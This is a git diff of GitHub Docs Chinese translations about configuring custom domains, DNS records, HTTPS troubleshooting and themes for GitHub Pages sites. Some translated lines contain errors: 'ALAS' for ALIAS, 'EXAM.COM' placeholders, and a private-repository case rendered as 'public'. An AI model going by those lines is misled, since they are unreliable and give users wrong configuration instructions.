-Subdomains are configured with a `CNAME` record through your DNS provider. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain)."
+子域名配置通过 DNS 提供商使用 `CNAME` 记录配置。 更多信息请参阅“[管理 {% data variables.product.prodname_pages %} 网站的自定义域](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain)。
 
-### `www` subdomains
+### `www` 子域
 
-A `www` subdomain is the most commonly used type of subdomain. For example, `www.example.com` includes a `www` subdomain.
+`www` 子域名是最常用的一种子域名。 例如，`www.example.com` 包含 `www` 子域名。
 
-`www` subdomains are the most stable type of custom domain because `www` subdomains are not affected by changes to the IP addresses of {% data variables.product.product_name %}'s servers.
+`www` 子域名是最稳定的一种自定义域，因为 `www` 子域名不受 {% data variables.product.product_name %} 服务器 IP 地址变动的影响。
 
-### Custom subdomains
+### 自定义子域
 
-A custom subdomain is a type of subdomain that doesn't use the standard `www` variant. Custom subdomains are mostly used when you want two distinct sections of your site. For example, you can create a site called `blog.example.com` and customize that section independently from `www.example.com`.
+自定义子域是一种不使用标准 `www` 变体的子域。 自定义子域主要在您需要将网站分为两个不同的部分时使用。 例如，您可以创建一个名为 `blog.example.com` 并自定义该部分与 `www.example.com` 分开。
 
-## Using an apex domain for your {% data variables.product.prodname_pages %} site
+## 对您的 {% data variables.product.prodname_pages %} 网站使用 apex 域
 
-An apex domain is a custom domain that does not contain a subdomain, such as `example.com`. Apex domains are also known as base, bare, naked, root apex, or zone apex domains.
+Apex 域是一个不包含子域的自定义域，如 `example.com`。 Apex 域也称为基础域、裸域、根 apex 域或区域 apex 域。
 
-An apex domain is configured with an `A`, `ALIAS`, or `ANAME` record through your DNS provider. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain)."
+Apex 域配置通过 DNS 提供商使用 `A`, `ALAS` 或 `ANAME` 记录配置。 更多信息请参阅“[管理 {% data variables.product.prodname_pages %} 网站的自定义域](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain)。
 
-{% data reusables.pages.www-and-apex-domain-recommendation %} For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site/#configuring-a-subdomain)."
+{% data reusables.pages.www-and-apex-domain-recommendation %}更多信息请参阅“[管理 {% data variables.product.prodname_pages %} 站点的自定义域](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site/#configuring-a-subdomain)”。
 
 ## Securing the custom domain for your {% data variables.product.prodname_pages %} site
 
 {% data reusables.pages.secure-your-domain %} For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)" and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
 
-There are a couple of reasons your site might be automatically disabled.
+有许多原因会导致您的网站被自动禁用。
 
-- If you downgrade from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, any {% data variables.product.prodname_pages %} sites that are currently published from private repositories in your account will be unpublished. For more information, see "[Downgrading your {% data variables.product.prodname_dotcom %} billing plan](/articles/downgrading-your-github-billing-plan)."
-- If you transfer a private repository to a personal account that is using {% data variables.product.prodname_free_user %}, the repository will lose access to the {% data variables.product.prodname_pages %} feature, and the currently published {% data variables.product.prodname_pages %} site will be unpublished. For more information, see "[Transferring a repository](/articles/transferring-a-repository)."
+- 如果您从 {% data variables.product.prodname_pro %} 降级到 {% data variables.product.prodname_free_user %}，则目前发布自您的帐户中私有仓库的任何 {% data variables.product.prodname_pages %} 站点都会取消发布。 更多信息请参阅“[Downgrading your {% data variables.product.prodname_dotcom %} 结算方案](/articles/downgrading-your-github-billing-plan)”。
+- 如果将私人仓库转让给使用 {% data variables.product.prodname_free_user %} 的个人帐户，仓库将失去对 {% data variables.product.prodname_pages %} 功能的访问，当前发布的 {% data variables.product.prodname_pages %} 站点将取消发布。 更多信息请参阅“[转让仓库](/articles/transferring-a-repository)”。
 
-## Further reading
+## 延伸阅读
 
-- "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages)"
+- "[自定义域名和 {% data variables.product.prodname_pages %} 疑难解答](/articles/troubleshooting-custom-domains-and-github-pages)"
diff --git a/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md b/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md
index df8f8b376f..23891c139d 100644
--- a/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md
+++ b/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring a custom domain for your GitHub Pages site
-intro: 'You can customize the domain name of your {% data variables.product.prodname_pages %} site.'
+title: 配置 GitHub Pages 站点的自定义域
+intro: '您可以自定义 {% data variables.product.prodname_pages %} 站点的域名。'
 redirect_from:
   - /articles/tips-for-configuring-an-a-record-with-your-dns-provider
   - /articles/adding-or-removing-a-custom-domain-for-your-github-pages-site
@@ -22,5 +22,6 @@ children:
   - /managing-a-custom-domain-for-your-github-pages-site
   - /verifying-your-custom-domain-for-github-pages
   - /troubleshooting-custom-domains-and-github-pages
-shortTitle: Configure a custom domain
+shortTitle: 配置自定义域
 ---
+
diff --git a/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md b/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md
index 025d260cef..8dcde193da 100644
--- a/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md
+++ b/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md
@@ -1,6 +1,6 @@
 ---
-title: Managing a custom domain for your GitHub Pages site
-intro: 'You can set up or update certain DNS records and your repository settings to point the default domain for your {% data variables.product.prodname_pages %} site to a custom domain.'
+title: 管理 GitHub Pages 站点的自定义域
+intro: '您可以设置或更新某些 DNS 记录和仓库设置，以将 {% data variables.product.prodname_pages %} 站点的默认域指向自定义域。'
 redirect_from:
   - /articles/quick-start-setting-up-a-custom-domain
   - /articles/setting-up-an-apex-domain
@@ -17,41 +17,40 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Manage a custom domain
+shortTitle: 管理自定义域
 ---
 
-People with admin permissions for a repository can configure a custom domain for a {% data variables.product.prodname_pages %} site.
+拥有仓库管理员权限的人可为 {% data variables.product.prodname_pages %} 站点配置自定义域。
 
-## About custom domain configuration
+## 关于自定义域配置
 
-Make sure you add your custom domain to your {% data variables.product.prodname_pages %} site before configuring your custom domain with your DNS provider. Configuring your custom domain with your DNS provider without adding your custom domain to {% data variables.product.product_name %} could result in someone else being able to host a site on one of your subdomains.
+使用 DNS 提供程序配置自定义域之前，请确保将自定义域添加到您的 {% data variables.product.prodname_pages %} 站点。 使用 DNS 提供程序配置自定义域而不将其添加到 {% data variables.product.product_name %}，可能导致其他人能够在您的某个子域上托管站点。
 
 {% windows %}
 
-The `dig` command, which can be used to verify correct configuration of DNS records, is not included in Windows. Before you can verify that your DNS records are configured correctly, you must install [BIND](https://www.isc.org/bind/).
+`dig` 命令可用于验证 DNS 记录的配置是否正确，它未包含在 Windows 中。 在验证 DNS 记录的配置是否正确之前，必须安装 [BIND](https://www.isc.org/bind/)。
 
 {% endwindows %}
 
 {% note %}
 
-**Note:** DNS changes can take up to 24 hours to propagate.
+**注：**DNS 更改可能需要最多 24 小时才能传播。
 
 {% endnote %}
 
-## Configuring a subdomain
+## 配置子域
 
-To set up a `www` or custom subdomain, such as `www.example.com` or `blog.example.com`, you must add your domain in the repository settings, which will create a CNAME file in your site’s repository. After that, configure a CNAME record with your DNS provider.
+要设置 `www` 或自定义子域，例如 `www.example.com` 或 `blog.example.com`，您必须将域添加到仓库设置，这将在站点的仓库中创建 CNAME 文件。 然后，通过 DNS 提供商配置 CNAME 记录。
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-4. Under "Custom domain", type your custom domain, then click **Save**. This will create a commit that adds a _CNAME_ file in the root of your publishing source.
-  ![Save custom domain button](/assets/images/help/pages/save-custom-subdomain.png)
-5. Navigate to your DNS provider and create a `CNAME` record that points your subdomain to the default domain for your site. For example, if you want to use the subdomain `www.example.com` for your user site, create a `CNAME` record that points `www.example.com` to `<user>.github.io`. If you want to use the subdomain `www.anotherexample.com` for your organization site, create a `CNAME` record that points `www.anotherexample.com` to `<organization>.github.io`. The `CNAME` record should always point to `<user>.github.io` or `<organization>.github.io`, excluding the repository name. {% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %}
+4. 在 "Custom domain（自定义域）"下，输入自定义域，然后单击 **Save（保存）**。 这将创建一个在发布源根目录中添加 _CNAME _ 文件的提交。 ![保存自定义域按钮](/assets/images/help/pages/save-custom-subdomain.png)
+5. 导航到您的 DNS 提供程序并创建 `CNAME` 记录，使子域指向您站点的默认域。 例如，如果要对您的用户站点使用子域 `www.example.com`，您可以创建 `CNAME` 记录，使 `www.example.com` 指向 `<user>.github.io`。 如果要对您的组织站点使用子域 `www.anotherexample.com`，您可以创建 `CNAME` 记录，使 `www.anotherexample.com` 指向 `<organization>.github.io`。 `CNAME` 记录应该始终指向 `<user>.github.io` 或 `<organization>.github.io`，不包括仓库名称。 {% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %}
 
 {% indented_data_reference reusables.pages.wildcard-dns-warning spaces=3 %}
 {% data reusables.command_line.open_the_multi_os_terminal %}
-6. To confirm that your DNS record configured correctly, use the `dig` command, replacing _WWW.EXAMPLE.COM_ with your subdomain.
+6. 要确认您的 DNS 记录配置正确，请使用 `dig` 命令，将 _WWW.EXAM.COM_ 替换为您的子域。
 ```shell
     $ dig <em>WWW.EXAMPLE.COM</em> +nostats +nocomments +nocmd
     > ;<em>WWW.EXAMPLE.COM.</em>                     IN      A
@@ -62,27 +61,26 @@ To set up a `www` or custom subdomain, such as `www.example.com` or `blog.exampl
 {% data reusables.pages.build-locally-download-cname %}
 {% data reusables.pages.enforce-https-custom-domain %}
 
-## Configuring an apex domain
+## 配置 apex 域
 
-To set up an apex domain, such as `example.com`, you must configure a _CNAME_ file  in your {% data variables.product.prodname_pages %} repository and at least one `ALIAS`, `ANAME`, or `A` record with your DNS provider.
+要设置 apex 域，例如 `example.com`，您必须使用 DNS 提供程序配置 {% data variables.product.prodname_pages %} 仓库中的 _CNAME_ 文件以及至少一条 `ALIAS`、`ANAME` 或 `A` 记录。
 
-{% data reusables.pages.www-and-apex-domain-recommendation %} For more information, see "[Configuring a subdomain](#configuring-a-subdomain)."
+{% data reusables.pages.www-and-apex-domain-recommendation %}更多信息请参阅“[配置子域](#configuring-a-subdomain)”。
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-4. Under "Custom domain", type your custom domain, then click **Save**. This will create a commit that adds a _CNAME_ file in the root of your publishing source.
-  ![Save custom domain button](/assets/images/help/pages/save-custom-apex-domain.png)
-5. Navigate to your DNS provider and create either an `ALIAS`, `ANAME`, or `A` record. You can also create `AAAA` records for IPv6 support. {% data reusables.pages.contact-dns-provider %}
-    - To create an `ALIAS` or `ANAME` record, point your apex domain to the default domain for your site. {% data reusables.pages.default-domain-information %}
-    - To create `A` records, point your apex domain to the IP addresses for {% data variables.product.prodname_pages %}.
+4. 在 "Custom domain（自定义域）"下，输入自定义域，然后单击 **Save（保存）**。 这将创建一个在发布源根目录中添加 _CNAME _ 文件的提交。 ![保存自定义域按钮](/assets/images/help/pages/save-custom-apex-domain.png)
+5. 导航到 DNS 提供程序并创建一个 `ALIAS`、`ANAME` 或 `A` 记录。 您也可以创建 `AAAA` 记录以获得 IPv6 支持。 {% data reusables.pages.contact-dns-provider %}
+    - 要创建 `ALIAS` 或 `ANAME` 记录，请将 apex 域指向站点的默认域。 {% data reusables.pages.default-domain-information %}
+    - 要创建 `A` 记录，请将 apex 域指向 {% data variables.product.prodname_pages %} 的 IP 地址。
       ```shell
       185.199.108.153
       185.199.109.153
       185.199.110.153
       185.199.111.153
       ```
-    - To create `AAAA` records, point your apex domain to the IP addresses for {% data variables.product.prodname_pages %}.
+    - 要创建 `AAAA` 记录，请将 apex 域指向 {% data variables.product.prodname_pages %} 的 IP 地址。
       ```shell
       2606:50c0:8000::153
       2606:50c0:8001::153
@@ -92,8 +90,8 @@ To set up an apex domain, such as `example.com`, you must configure a _CNAME_ fi
 
 {% indented_data_reference reusables.pages.wildcard-dns-warning spaces=3 %}
 {% data reusables.command_line.open_the_multi_os_terminal %}
-6. To confirm that your DNS record configured correctly, use the `dig` command, replacing _EXAMPLE.COM_ with your apex domain. Confirm that the results match the IP addresses for {% data variables.product.prodname_pages %} above.
-   - For `A` records.
+6. 要确认您的 DNS 记录配置正确，请使用 `dig` 命令，将 _EXAM.COM_ 替换为您的 apex 域。 确认结果与上面 {% data variables.product.prodname_pages %} 的 IP 地址相匹配。
+   - 对于 `A` 记录。
     ```shell
     $ dig <em>EXAMPLE.COM</em> +noall +answer -t A
     > <em>EXAMPLE.COM</em>     3600    IN A     185.199.108.153
@@ -101,7 +99,7 @@ To set up an apex domain, such as `example.com`, you must configure a _CNAME_ fi
     > <em>EXAMPLE.COM</em>     3600    IN A     185.199.110.153
     > <em>EXAMPLE.COM</em>     3600    IN A     185.199.111.153
     ```
-   - For `AAAA` records.
+   - 对于 `AAAA` 记录。
     ```shell
     $ dig <em>EXAMPLE.COM</em> +noall +answer -t AAAA
     > <em>EXAMPLE.COM</em>     3600    IN AAAA     2606:50c0:8000::153
@@ -112,16 +110,16 @@ To set up an apex domain, such as `example.com`, you must configure a _CNAME_ fi
 {% data reusables.pages.build-locally-download-cname %}
 {% data reusables.pages.enforce-https-custom-domain %}
 
-## Configuring an apex domain and the `www` subdomain variant
+## 配置 apex 域和 `www` 子域变种
 
-When using an apex domain, we recommend configuring your {% data variables.product.prodname_pages %} site to host content at both the apex domain and that domain's `www` subdomain variant.
+使用 apex 域时，我们建议配置您的 {% data variables.product.prodname_pages %} 站点，以便在 apex 域和该域的 `www` 子域变体中托管内容。
 
-To set up a `www` subdomain alongside the apex domain, you must first configure an apex domain, which will create an `ALIAS`, `ANAME`, or `A` record with your DNS provider. For more information, see "[Configuring an apex domain](#configuring-an-apex-domain)."
+要与 apex 域一起设置 `www` 子域，您必须先配置 apex 域，这将通过您的 DNS 提供商创建 `ALIAS`、`ANAME` 或 `A` 记录。 更多信息请参阅“[配置 apex 域](#configuring-an-apex-domain)”。
 
-After you configure the apex domain, you must configure a CNAME record with your DNS provider.
+配置 apex 域后，您必须通过 DNS 提供商配置 CNAME 记录。
 
-1. Navigate to your DNS provider and create a `CNAME` record that points `www.example.com` to the default domain for your site: `<user>.github.io` or `<organization>.github.io`. Do not include the repository name. {% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %}
-2. To confirm that your DNS record configured correctly, use the `dig` command, replacing _WWW.EXAMPLE.COM_ with your `www` subdomain variant.
+1. 导航到您的 DNS 提供商，并创建一个 `CNAME` 记录，指向您网站的默认域名 `www.example.com` ：`<user>.github.io` 或 `<organization>.github.io`。 不要包括仓库名称。 {% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %}
+2. 要确认您的 DNS 记录配置正确，请使用 `dig` 命令，将 _WWW.EXAM.COM_ 替换为您的 `www` 子域变体。
 ```shell
     $ dig <em>WWW.EXAMPLE.COM</em> +nostats +nocomments +nocmd
     > ;<em>WWW.EXAMPLE.COM.</em>                     IN      A
@@ -129,18 +127,17 @@ After you configure the apex domain, you must configure a CNAME record with your
     > <em>YOUR-USERNAME</em>.github.io.      43192   IN      CNAME   <em> GITHUB-PAGES-SERVER </em>.
     > <em> GITHUB-PAGES-SERVER </em>.         22      IN      A       192.0.2.1
 ```
-## Removing a custom domain
+## 删除自定义域
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-4. Under "Custom domain," click **Remove**.
-  ![Save custom domain button](/assets/images/help/pages/remove-custom-domain.png)
+4. 在“Custom domain（自定义域）”下，单击 **Remove（删除）**。 ![保存自定义域按钮](/assets/images/help/pages/remove-custom-domain.png)
 
 ## Securing your custom domain
 
 {% data reusables.pages.secure-your-domain %} For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)."
 
-## Further reading
+## 延伸阅读
 
-- "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages)"
+- "[自定义域名和 {% data variables.product.prodname_pages %} 疑难解答](/articles/troubleshooting-custom-domains-and-github-pages)"
diff --git a/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md b/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md
index 892a5af812..12c3f771d5 100644
--- a/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md
+++ b/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting custom domains and GitHub Pages
-intro: 'You can check for common errors to resolve issues with custom domains or HTTPS for your {% data variables.product.prodname_pages %} site.'
+title: 自定义域和 GitHub Pages 疑难解答
+intro: '您可以检查常见错误，以解决与 {% data variables.product.prodname_pages %} 站点的自定义域或 HTTPS 相关的问题。'
 redirect_from:
   - /articles/my-custom-domain-isn-t-working
   - /articles/custom-domain-isn-t-working
@@ -13,58 +13,58 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Troubleshoot a custom domain
+shortTitle: 排除自定义域的故障
 ---
 
-## _CNAME_ errors
+## _CNAME_ 错误
 
-Custom domains are stored in a _CNAME_ file in the root of your publishing source. You can add or update this file through your repository settings or manually. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+自定义域存储在发布源的根目录下的 _CNAME_ 文件中。 您可以通过仓库设置或手动添加或更新此文件。 更多信息请参阅“[管理 {% data variables.product.prodname_pages %} 网站的自定义域](/articles/managing-a-custom-domain-for-your-github-pages-site)。
 
-For your site to render at the correct domain, make sure your _CNAME_ file still exists in the repository. For example, many static site generators force push to your repository, which can overwrite the _CNAME_ file that was added to your repository when you configured your custom domain. If you build your site locally and push generated files to {% data variables.product.product_name %}, make sure to pull the commit that added the _CNAME_ file to your local repository first, so the file will be included in the build.
+要让您的站点呈现在正确的域中，请确保您的 _CNAME_ 文件仍存在于仓库中。 例如，许多静态站点生成器会强制推送到您的仓库，这可能会覆盖在配置自定义域时添加到仓库中的 _CNAME_ 文件。 如果您在本地构建站点并将生成的文件推送到 {% data variables.product.product_name %}，请确保先将添加 _CNAME_ 文件的提交拉取到本地仓库，使该文件纳入到构建中。
 
-Then, make sure the _CNAME_ file is formatted correctly.
+然后，确保 _CNAME_ 文件格式正确。
 
-- The _CNAME_ filename must be all uppercase.
-- The _CNAME_ file can contain only one domain. To point multiple domains to your site, you must set up a redirect through your DNS provider.
-- The _CNAME_ file must contain the domain name only. For example, `www.example.com`, `blog.example.com`, or `example.com`.
-- The domain name must be unique across all {% data variables.product.prodname_pages %} sites. For example, if another repository's _CNAME_ file contains `example.com`, you cannot use `example.com` in the _CNAME_ file for your repository.
+- _CNAME_ 文件名必须全部大写。
+- _CNAME_ 文件只能包含一个域。 要将多个域指向您的站点，必须通过 DNS 提供程序设置重定向。
+- _CNAME_ 文件只能包含一个域名。 例如，`www.example.com`、`blog.example.com` 或 `example.com`。
+- 域名在所有 {% data variables.product.prodname_pages %} 站点中必须是唯一的。 例如，如果另一个仓库的 _CNAME_ 文件包含 `example.com`，则不能在您仓库的 _CNAME_ 文件中使用 `example.com`。
 
-## DNS misconfiguration
+## DNS 配置错误
 
-If you have trouble pointing the default domain for your site to your custom domain, contact your DNS provider.
+如果将站点的默认域指向自定义域时遇到问题，请联系 DNS 提供商。
 
-You can also use one of the following methods to test whether your custom domain's DNS records are configured correctly:
+您还可以使用以下方法之一来测试自定义域的 DNS 记录是否正确配置：
 
-- A CLI tool such as `dig`. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)".
-- An online DNS lookup tool.
+- CLI 工具，如 `dig`。 更多信息请参阅“[管理 {% data variables.product.prodname_pages %} 网站的自定义域](/articles/managing-a-custom-domain-for-your-github-pages-site)。
+- 在线 DNS 查找工具。
 
-## Custom domain names that are unsupported
+## 自定义域名不受支持
 
-If your custom domain is unsupported, you may need to change your domain to a supported domain. You can also contact your DNS provider to see if they offer forwarding services for domain names.
+如果您的自定义域不受支持，则可能需要将您的域更改为受支持的域。 也可以联系您的 DNS 提供商，看他们是否提供域名转发服务。
 
-Make sure your site does not:
-- Use more than one apex domain. For example, both `example.com` and `anotherexample.com`.
-- Use more than one `www` subdomain. For example, both `www.example.com` and `www.anotherexample.com`.
-- Use both an apex domain and custom subdomain. For example, both `example.com` and `docs.example.com`.
+确保您的站点没有：
+- 使用多个 apex 域。 例如，同时使用 `example.com` 和 `anotherexample.com`。
+- 使用多个 `www` 子域。 例如，同时使用 `www.example.com` 和 `www.anotherexample.com`。
+- 同时使用 apex 域和自定义子域。 例如，同时使用 `example.com` 和 `docs.example.com`。
 
-  The one exception is the `www` subdomain. If configured correctly, the `www` subdomain is automatically redirected to the apex domain. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain)."
+  一个例外是 `www` 子域。 如果配置正确， `www` 子域将自动重定向到 apex 域。 更多信息请参阅“[管理 {% data variables.product.prodname_pages %} 网站的自定义域](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain)。
 
 {% data reusables.pages.wildcard-dns-warning %}
 
-For a list of supported custom domains, see "[About custom domains and {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages/#supported-custom-domains)."
+有关支持的自定义域列表，请参阅“[关于自定义域和 {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages/#supported-custom-domains)”。
 
-## HTTPS errors
+## HTTPS 错误
 
-{% data variables.product.prodname_pages %} sites using custom domains that are correctly configured with `CNAME`, `ALIAS`, `ANAME`, or `A` DNS records can be accessed over HTTPS. For more information, see "[Securing your {% data variables.product.prodname_pages %} site with HTTPS](/articles/securing-your-github-pages-site-with-https)."
+通过 `CNAME`、`ALIAS`、`ANAME` 或 `A` DNS 记录正确配置的使用自定义域的 {% data variables.product.prodname_pages %} 站点可通过 HTTPS 进行访问。 更多信息请参阅“[使用 HTTPS 保护 {% data variables.product.prodname_pages %} 站点](/articles/securing-your-github-pages-site-with-https)”。
 
-It can take up to an hour for your site to become available over HTTPS after you configure your custom domain. After you update existing DNS settings, you may need to remove and re-add your custom domain to your site's repository to trigger the process of enabling HTTPS. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+配置自定义域后，您的站点可能需要最多一个小时才能通过 HTTPS 访问。 更新现有 DNS 设置后，您可能需要删除自定义域并将其重新添加到站点仓库，以触发启用 HTTPS 的进程。 更多信息请参阅“[管理 {% data variables.product.prodname_pages %} 网站的自定义域](/articles/managing-a-custom-domain-for-your-github-pages-site)。
 
-If you're using Certification Authority Authorization (CAA) records, at least one CAA record must exist with the value `letsencrypt.org` for your site to be accessible over HTTPS. For more information, see "[Certificate Authority Authorization (CAA)](https://letsencrypt.org/docs/caa/)" in the Let's Encrypt documentation.
+如果您使用的是证书颁发机构授权 (CAA) 记录，则必须存在至少一个值为 `letsencrypt.org` 的 CAA 记录，才能通过 HTTPS 访问您的站点。 更多信息请参阅 Let's Encrypt 文档中的“[证书颁发机构授权 (CAA)](https://letsencrypt.org/docs/caa/)”。
 
-## URL formatting on Linux
+## Linux 上的 URL 格式
 
-If the URL for your site contains a username or organization name that begins or ends with a dash, or contains consecutive dashes, people browsing with Linux will receive a server error when they attempt to visit your site. To fix this, change your {% data variables.product.product_name %} username to remove non-alphanumeric characters. For more information, see "[Changing your {% data variables.product.prodname_dotcom %} username](/articles/changing-your-github-username/)."
+如果您站点的 URL 包含以破折号开头或结尾的用户名或组织名称，或者包含连续破折号，则使用 Linux 浏览的用户在尝试访问您的站点时会收到服务器错误。 要解决此问题，请更改您的 {% data variables.product.product_name %} 用户名以删除非字母数字字符。 更多信息请参阅“[更改 {% data variables.product.prodname_dotcom %} 用户名](/articles/changing-your-github-username/)”。
 
-## Browser cache
+## 浏览器缓存
 
-If you've recently changed or removed your custom domain and can't access the new URL in your browser, you may need to clear your browser's cache to reach the new URL. For more information on clearing your cache, see your browser's documentation.
+如果您最近更改或删除了自定义域，但无法在浏览器中访问新 URL，则可能需要清除浏览器的缓存才能访问新 URL。 有关清除缓存的更多信息，请参阅浏览器的文档。
diff --git a/translations/zh-CN/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md b/translations/zh-CN/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md
index 6f568026a7..f478837368 100644
--- a/translations/zh-CN/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md
+++ b/translations/zh-CN/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md
@@ -1,6 +1,6 @@
 ---
-title: Adding a theme to your GitHub Pages site with the theme chooser
-intro: 'You can add a theme to your {% data variables.product.prodname_pages %} site to customize your site’s look and feel.'
+title: 使用主题选择器将主题添加到 GitHub Pages 站点
+intro: '您可以将主题添加到 {% data variables.product.prodname_pages %} 站点，以自定义站点的外观。'
 redirect_from:
   - /articles/creating-a-github-pages-site-with-the-jekyll-theme-chooser
   - /articles/adding-a-jekyll-theme-to-your-github-pages-site-with-the-jekyll-theme-chooser
@@ -12,40 +12,37 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Add theme to a Pages site
+shortTitle: 将主题添加到 Pages 站点
 ---
 
-People with admin permissions for a repository can use the theme chooser to add a theme to a {% data variables.product.prodname_pages %} site.
+拥有仓库管理员权限的人可以使用主题选择器向 {% data variables.product.prodname_pages %} 站点添加主题。
 
-## About the theme chooser
+## 关于主题选择器
 
-The theme chooser adds a Jekyll theme to your repository. For more information about Jekyll, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll)."
+主题选择器可用于向仓库添加 Jekyll 主题。 有关 Jekyll 的更多信息，请参阅“[关于 {% data variables.product.prodname_pages %} 和 Jekyll](/articles/about-github-pages-and-jekyll)”。
 
-How the theme chooser works depends on whether your repository is public or private.
-  - If {% data variables.product.prodname_pages %} is already enabled for your repository, the theme chooser will add your theme to the current publishing source.
-  - If your repository is public and {% data variables.product.prodname_pages %} is disabled for your repository, using the theme chooser will enable {% data variables.product.prodname_pages %} and configure the default branch as your publishing source.
-  - If your repository is private and {% data variables.product.prodname_pages %} is disabled for your repository, you must enable {% data variables.product.prodname_pages %} by configuring a publishing source before you can use the theme chooser.
+主题选择器如何工作取决于您的资源库是公共的还是私有的。
+  - 如果已为仓库启用 {% data variables.product.prodname_pages %}，主题选择器会将主题添加到当前发布源。
+  - 如果您的仓库是公共的，并且已对仓库禁用 {% data variables.product.prodname_pages %}，则使用主题选择器将启用 {% data variables.product.prodname_pages %} 并将默认分支配置为发布源。
+  - 如果您的仓库是公共的，并且已对仓库禁用 {% data variables.product.prodname_pages %}，则必须先通过配置发布源来启用 {% data variables.product.prodname_pages %}，然后才可使用主题选择器。
 
-For more information about publishing sources, see "[About {% data variables.product.prodname_pages %}](/articles/about-github-pages#publishing-sources-for-github-pages-sites)."
+有关发布源的更多信息，请参阅“[关于 {% data variables.product.prodname_pages %}](/articles/about-github-pages#publishing-sources-for-github-pages-sites)”。
 
-If you manually added a Jekyll theme to your repository in the past, those files may be applied even after you use the theme chooser. To avoid conflicts, remove all manually added theme folders and files before using the theme chooser. For more information, see "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)."
+如果以前曾手动向仓库添加 Jekyll 主题，则这些文件在使用主题选择器后也可能应用。 为避免冲突，请先删除所有手动添加的主题文件夹和文件，然后再使用主题选择器。 更多信息请参阅“[使用 Jekyll 添加主题到 {% data variables.product.prodname_pages %} 站点](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)”。
 
-## Adding a theme with the theme chooser
+## 使用主题选择器添加主题
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-3. Under "{% data variables.product.prodname_pages %}," click **Choose a theme** or **Change theme**.
-  ![Choose a theme button](/assets/images/help/pages/choose-a-theme.png)
-4. On the top of the page, click the theme you want, then click **Select theme**.
